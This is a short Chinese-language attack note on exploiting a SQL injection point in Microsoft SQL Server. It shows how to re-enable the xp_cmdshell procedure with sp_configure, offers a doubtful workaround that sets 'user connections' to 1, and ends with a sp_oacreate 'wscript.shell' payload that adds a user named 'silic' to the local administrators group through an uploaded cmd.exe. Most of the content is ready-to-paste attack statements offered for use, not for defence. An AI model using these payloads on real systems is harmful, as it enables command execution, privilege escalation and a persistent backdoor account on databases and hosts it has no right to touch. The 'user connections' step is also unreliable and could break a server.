mssql数据库sa账户xp_cmdshell解除禁用

使用xp_cmdshell执行命令的时候,系统回显如下:


Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

MSSQL中控制该功能开启和关闭的SQL语句

##关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
##开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

在注入点运行上述语句时,如果出现这样的回显


标记message: 配置选项 'xp_cmdshell' 不存在,也可能是高级选

設定選項 'xp_cmdshell' 不存在,或可能是一個進階選項。

执行如下语句即可解决

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--

使用wscript添加管理员

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'

d:\\cmd.exe是自己上传的cmd.exe的路径,或者系统有权限都可以。/c后面是cmd语句,别忘了引号闭合语句